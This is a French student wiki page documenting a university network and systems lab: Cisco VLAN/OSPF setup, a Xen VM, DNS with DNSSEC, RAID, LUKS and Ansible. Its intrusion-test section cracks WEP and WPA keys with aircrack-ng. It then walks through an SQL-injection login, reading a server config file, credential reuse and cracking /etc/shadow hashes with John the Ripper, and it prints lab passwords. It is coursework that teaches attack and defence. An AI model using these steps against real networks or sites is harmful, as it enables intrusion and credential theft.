TP sysres IMA5 2021/2022 G7 : Différence entre versions
(→ASR) |
(→FireWall) |
||
(7 révisions intermédiaires par le même utilisateur non affichées) | |||
Ligne 432 : | Ligne 432 : | ||
Passons maintenant à la configuration de ansible : | Passons maintenant à la configuration de ansible : | ||
− | == Ansible == | + | === Ansible === |
− | === Debian == | + | ==== Debian ==== |
On modifie la tache main.yml du role de base pour modifier la source de sécurité des paquets | On modifie la tache main.yml du role de base pour modifier la source de sécurité des paquets | ||
Ligne 447 : | Ligne 447 : | ||
deb http://security.debian.org/debian-security bullseye-security main contrib non-free | deb http://security.debian.org/debian-security bullseye-security main contrib non-free | ||
− | === SSH KEYS === | + | ==== SSH KEYS ==== |
− | === FireWall === | + | On créer un fichier Jinja2 pour récupérer les clés ssh de notre fichier group_vers/all.yaml |
+ | {% for key in ssh_keys %} | ||
+ | {{key["key"]}} | ||
+ | {% endfor %} | ||
+ | |||
+ | |||
+ | puis on enregistre notre configuration yaml | ||
+ | |||
+ | - name: "Add ssh file" | ||
+ | file: | ||
+ | path: /root/.ssh/authorized_keys | ||
+ | state: touch | ||
+ | - name: "Add ssh key" | ||
+ | template: | ||
+ | src: ssh.j2 | ||
+ | dest: /root/.ssh/authorized_keys | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: "0600" | ||
+ | |||
+ | ==== Docker ==== | ||
+ | |||
+ | On télécharge le role docker en ajoutant dans polytech.yaml | ||
+ | |||
+ | - role: geerlingguy.docker | ||
+ | tags: docker | ||
+ | |||
+ | ==== FireWall ==== | ||
On bloque les ports en TCP et UDP : | On bloque les ports en TCP et UDP : | ||
Ligne 473 : | Ligne 500 : | ||
chain: INPUT | chain: INPUT | ||
source_port: "{{ item }}" | source_port: "{{ item }}" | ||
− | protocol: | + | protocol: udp |
− | match: | + | match: udp |
jump: DROP | jump: DROP | ||
become: yes | become: yes | ||
Ligne 481 : | Ligne 508 : | ||
- "8301" | - "8301" | ||
- "8302" | - "8302" | ||
+ | |||
+ | === Consul === |
Version actuelle datée du 12 janvier 2022 à 12:27
Sommaire
PRA 2021-2022 Arthur Vercaemst - Johnny Gouvaert
Architecture réseau
export http_proxy=http://proxy.plil.fr:3128 export https_proxy=https://proxy.plil.fr:3128
Configuration IPV4
Paramétrage des VLANs
9200 Nous avons pris la tache de configurer le routeur cisco 9200 de la salle E-306
Dans un premier temps, nous avons créé le VLAN 42. Ce VLAN permet l'accès au routeur 9200 depuis les VMs Il est donc connecté au port TenGigabitethernet1/1/2 (10G) sur lequel est branchée un fibre venant du serveur capbreton.
enable conf t vlan 42 exit int vlan 42 no shut ip address 193.48.57.188 255.255.255.192 ipv6 enable ipv6 address 2001:7A8:116E:60B0::F1/64 eui-64 exit int TenGigabitethernet1/1/2 no shut switchport mode access switchport access vlan 42 exit exit write
Ensuite, nous avons créé et configuré le VLAN 531. Ce vlan est relié par fibre au routeur de l'ecole pour l'accès internet
enable conf t vlan 531 exit int vlan 531 no shut ip address 192.168.222.42 255.255.255.248 exit int TenGigabitethernet1/1/1 no shut switchport mode access switchport access vlan 531 exit exit write
OPSF
OSPF (Open Shortest Path First) à chaque routeur de partager sa connaissance de la topologie du réseau, de cette manière on rends possible un routage plus dynamique sur notre infrastructure.
router ospf 1 router-id 10.00.0.1 log-adjacency-changes summary-address 193.48.57.176 255.255.255.240 summary-address 100.64.0.0 255.240.0.0 not-advertise summary-address 10.0.0.0 255.0.0.0 not-advertise redistribute connected subnets redistribute static subnets network 192.168.222.8 0.0.0.7 area 2
Installation des systèmes d’exploitation
Installation dans la machine virtuelle Xen
Après problème dû au l'utilisation de la commande su au lieux de su - nous avons créé notre image de notre VM
xen-create-image --hostname=Anosteke --ip=193.48.57.182 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye
Nous créons ensuite les 2 disques virtuels
lvcreate -L10G -n Anosteke1 storage lvcreate -L10G -n Anosteke2 storage
Puis nous les formatons
mkfs.ext4 /dev/storage/Anosteke1 mkfs.ext4 /dev/storage/Anosteke2
Nous ajoutons les 2 disques au fichier de configuration de notre VM
nano /etc/xen/Anosteke.cfg disk = [ 'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w', 'phy:/dev/storage/Anosteke1,xvda3,w', 'phy:/dev/storage/Anosteke2,xvda4,w' ] vif = [ 'ip=193.48.57.182 ,mac=00:16:3E:AA:F5:2B ,bridge=IMA5sc' ]
On peut ensuite démarrer notre VM
xl create -c /etc/xen/AnosTeke.cfg
Pour enfin configurer nos espaces disque, en commençant par créer et monter nos espaces
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4 mv /var/* /mnt/xvda4
Pour finaliser le montage des espaces, on modifie le fichier /etc/fstab pour y ajouter nos emplacements
/dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2
On les configure DUMP disabled et Fsck 2. On peut finalement lancer le MOUNT
mount -a
et vérifier la bonne execution
lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
sur le serveur nous pouvons vérifier que notre machine existe :
xen-list-images | grep Name: %nom de la vm% lsblk | grep %nom de la vm%
et finalement pour lister les machines en fonctionnement
xen list
On peut ensuite se connecter à la machine
xen console Anosteke
On en profite pour ajouter un nouvel utilisateur
sudo adduser pifou
Et installer les paquets
apt-get update apt-get upgrade
Services Internet
Serveur SSH
On vérifie que OpenSSH est installé
ssh -V
Si il ne l'est pas on l'install.
sudo apt install openssh-server
Pour lancer et arreter le service SSH :
sudo service ssh stop sudo service ssh start
Pour desactiver le service :
sudo systemctl disable ssh
Pour connaitre l'état du service :
sudo systemctl status ssh
Il faut ensuite configurer ssh dans le fichier etc/ssh/sshd_config
/etc/ssh ├── ssh_config ├── sshd_config ├── ssh_host_rsa_key └── ssh_host_rsa_key.pub
Dans ce fichier on modifie les paramètres suivants :
Port 22 LogLevel VERBOSE PermitRootLogin no Banner /etc/ssh/banner
On redemarre ensuite le service SSH
systemctl reaload ssh.service
Serveur DNS
On associe notre IP au nom de domaine depuis l'interface du fournisseur Gandi.Net
On install :
apt-get install bind9
On peut aussi installer le paquet dsnutils pour débugger le service DNS
Configuration du fichier /etc/bind/named.conf.options
listen-on {any;}; //allow-recursion {localhost;};
On configure ensuite le bind de notre nom de domaine.
/etc/bind/db.anosteke59.site $TTL 3600 @ IN SOA ( ns.anosteke.site. ns6.gandi.net. 2; 3600; 3600; 3600; 3600; )
IN NS ns6.gandi.net. www IN A 193.48.57.182 ns IN CNAME www
On vérifie que la configuration est cohérente à l'aide de
named-checkzone anosteke59.site /etc/bind/db.anosteke59.site
On vérifie ensuite que le DNS fonctionne avec NSLOOKUP (Installer dnsutils sur la vm)
nslookup anosteke59.site dig anosteke59.site
Sécurisation de site par certificat
On crée une demande de certificat avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout anosteke59.key -out server.csr
le fichier CSR doit alors être envoyé à gandi pour créer notre certificat. Pour lancer la création de notre certificat on doit ajouter une entrée dans notre zone DNS. On attends ensuite le retour du certificat de gandi.
Sécurisation de serveur DNS par DNSSEC
On ajoute à notre fichier named.conf.options les paramètres suivants :
dnssec-enable yes; //Activer le dnssec, même si déprécié sur notre version dnssec-validation yes; //FOrcer le dnssec
On génère ensuite nos clés, dans un fichier connus
cd /etc/bind/master dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE anosteke59.site //Kanosteke59.site.+007+15849 dnssec-keygen -f KSK -a NSEC3RSASHA1 -b 4096 -n ZONE anosteke59.site //Kanosteke59.site.+007+60636
ici on crée une clé pour du SHA-1 ON peut ensuite renommer les fichiers
mv Kanosteke59.site.+007+60636.key Kanosteke59.site.ksk.key mv Kanosteke59.site.+007+60636.private Kanosteke59.site.ksk.private mv Kanosteke59.site.+007+15849.key Kanosteke59.site.zsk.key mv Kanosteke59.site.+007+15849.private Kanosteke59.site.zsk.private
On ajoute dans la fin de définition du domaine :
$TTL 3600 ... $INCLUDE Kanosteke59.site.zsk.key $INCLUDE Kanosteke59.site.ksk.key
On signe maintenant nos fichier de définition
dnssec-signzone -o anosteke59.site -k Kanosteke59.site.ksk anosteke59.site Kanosteke59.site.zsk
On modifie ensuite notre fichier '/etc/bind/named.conf.options' pour pointer sur ce nouveau fichier signé
zone "anosteke59.site" { type master; file "/etc/bind/master/anosteke59.site.signed"; notify yes; };
j'ai vérifié la config final avec : https://dnssec-analyzer.verisignlabs.com/anosteke59.site
Réalisation
Sécurisation de données
Sur le serveur Xen, on créer nos volumes.
lvcreate -L1G -nAnosteke-raid-1 storage lvcreate -L1G -nAnosteke-raid-2 storage lvcreate -L1G -nAnosteke-raid-3 storage
Qu'on ajoute à la configuration de notre VM
'phy:/dev/storage/Anosteke-raid-1,xvdb1,w', 'phy:/dev/storage/Anosteke-raid-2,xvdb2,w', 'phy:/dev/storage/Anosteke-raid-3,xvdb3,w'
Après un rédémarrage de la VM on execute
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3
On formate la partition:
mkfs.ext4 /dev/md0
On l'ajoute au fichier /etc/fstab pour qu'il soit monté à chaque démarrage de la vm :
/dev/md0 /media/raid ext4 defaults 0 1
et on valide les modifications:
mount -a
Chiffrement de données
Pour démarrer, nous formatons la clé :
mkfs.ext4 /dev/sdb
A l'aide de cryptsetup, nous initialisons la clé USB avec l'option luksFormat et choisissons un mot de passe :
cryptsetup luksFormat /dev/sdb
Nous ouvrons ensuite notre partition chiffrée et créons le nom du volume : crypte
cryptsetup luksOpen /dev/sdb crypte
Puis nous le formatons
mkfs.ext4 /dev/mapper/crypte
Nous montons ensuite la partition afin d'y ajouter un fichier test :
mkdir /mnt/cryptUSB mount -t ext4 /dev/mapper/crypte /mnt/cryptUSB/
Nous créons ce fichier test.txt en y inscrivant "BONJOUR MONDE !" :
nano /mnt/cryptUSB/test.txt
Enfin, nous démontons et fermons le volume chiffré :
umount /mnt/cryptUSB cryptsetup luksClose crypte
Afin de vérifier le cryptage de la clé, nous le mettons sur un autre PC. On se rend compte que le mot de passe est obligatoire pour accéder aux fichiers
Tests d’intrusion
WEP
On commence par casser la clé WEP.
airmon-ng
puis on lance
airmon-ng start wlan0mon 4
3 représente la channel utilisée par l'ap (ici 3)
Notre interface est renommée 'wlan0mon'. Pour visualiser les paquets sniffés, on execute alors
airodump-ng -c 4 wlan0mon
On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte07 dont le BSSID est 04:DA:D2:9C:50:56 On lance alors la commande :
airodump-ng -w dump -c 4 --bssid 04:DA:D2:9C:50:56 wlan0mon
Après quelques minutes, on execute :
aircrack-ng dump*.cap
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée. Notre clé est : 55:55:55:55:5A:BC:08:CB:A4:44:44:44:44
WPA
On casse à présent la clé WPA. On scanne la bande de fréquence 9 :
airodump-ng -c 9 wlan0mon
On récupère le BSSID de kracotte07 : 44:AD:D9:5F:87:03 On récupère ensuite des handshakes avec la commande :
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:03 -w dumpWPA wlan0mon
On utilise ensuite crunch pour générer la liste des mots de passe de 8 chiffres que l'on utilisera pour cracker la clé :
crunch 8 8 0123456789 -o password.lst
Enfin, on lance la commande :
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:03 dumpWPA.cap
Le processus peut prendre plusieurs heures. On obtient le mot de passe suivant : 59904999
Intrusion sur un serveur d’application Web
Dans un premier temps, nous réalisons une injection sql afin de récupérer la liste de tous les utilisateurs du site honey.plil.info. Nous choisissons comme utilisateur "' or 1=1; --"
Nous nous connectons avec le compte administrateur. Dans un des fichiers, nous trouvons des allusions à PHPMyAdmin.
De là, 3 menus, dont 2 sont intéressants. Dans l'onglet gestion des manuels, on peut ajouter un fichier depuis le serveur.
Ainsi, nous avons ajouté le fichier /etc/phpmyadmin/config-db.php.
Depuis la page Recherche d'un manuel, nous avons pû télécharger ce fichier, qui nous a indiqué le mot de passe du compte phpmyadmin : gencovid19.
2. PHPMyAdmin
Nous avons donc ouvert l'URL http://honey.plil.info/phpmyadmin dans un navigateur, et nous nous connectons avec le compte root:gencovid19 Dans PHPMyAdmin, nous trouvons un DB test avec des identifiants : rex:plainpassword
3. Récupération de fichiers avec l'user rex
Nous avons donc réussi à nous connecter en SSH au serveur, et nous avons récupéré les fichiers /etc/passwd et /etc/shadow.
Nous avons lancé la commande :
unshadow /etc/passwd /etc/shadow | head -1 > mdp
Nous avons obtenu un fichier avec le mot de passe root haché.
5. Decryptage du mot de passe root avec John the Ripper
Pour casser le mot de passe, nous avons utilisé John the Ripper. Nous nous sommes aidé des indications : "mot de passe présentant les mêmes caractéristiques que le mot de passe root habituel".
Nous avons créé un dictionnaire de mots de 4 lettres :
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dict
Pour obtenir des mots de 8 lettres (en duplicant les mots de 4 lettres), nous avons utilisé sed :
sed -i 's/\(.*\)/\1\1/'
La dernière étape consistait à lancer JtR :
john -w:dict mdp
Après 5 minutes d'attente, le mot de passe vu cracké.
Avec la commande :
john --show mdp
On obtient le mot de passe : fortfort.
ASR
xl create -c PRA-07.cfg
xen console PRA-07
on ajoute dans /etc/network/interfaces :
iface eth0 inet static address 172.26.145.107/24 gateway 172.26.145.254
Et on commente relatif au DHCP on édite /etc/ssh/sshd_config :
PermitRootLogin yes
on copie la clé publique de la zabeth dans /root/.ssh/authorized_key
on install puthon3-venv sur la zabeth :
apt install python3-venv
on install ansible sur les zabeth :
python3 -m venv ~/env-ansible . ~/env-ansible/bin/activate pip3 install -U setuptools wheel pip3 install -U ansible
On édite le fichier inventory de ansible :
ASR-07 ansible_ssh_host="172.26.145.107"
Passons maintenant à la configuration de ansible :
Ansible
Debian
On modifie la tache main.yml du role de base pour modifier la source de sécurité des paquets
tache
- name: "Fix BullsEye" copy: src: "Modèle:Role path/files/sources.list" dest: /etc/apt/
sources.list
deb http://deb.debian.org/debian bullseye main contrib non-free deb-src http://deb.debian.org/debian bullseye main contrib non-free deb http://security.debian.org/debian-security bullseye-security main contrib non-free
SSH KEYS
On créer un fichier Jinja2 pour récupérer les clés ssh de notre fichier group_vers/all.yaml
{% for key in ssh_keys %} {{key["key"]}} {% endfor %}
puis on enregistre notre configuration yaml
- name: "Add ssh file" file: path: /root/.ssh/authorized_keys state: touch - name: "Add ssh key" template: src: ssh.j2 dest: /root/.ssh/authorized_keys owner: root group: root mode: "0600"
Docker
On télécharge le role docker en ajoutant dans polytech.yaml
- role: geerlingguy.docker tags: docker
FireWall
On bloque les ports en TCP et UDP :
--- - name: "Block TCP" ansible.builtin.iptables: chain: INPUT source_port: "Modèle:Item" protocol: tcp match: tcp jump: DROP become: yes with_items: - "8600" - "8500" - "8501" - "8502" - "8300" - "8301" - "8302" - name: "Block UDP" ansible.builtin.iptables: chain: INPUT source_port: "Modèle:Item" protocol: udp match: udp jump: DROP become: yes with_items: - "8600" - "8301" - "8302"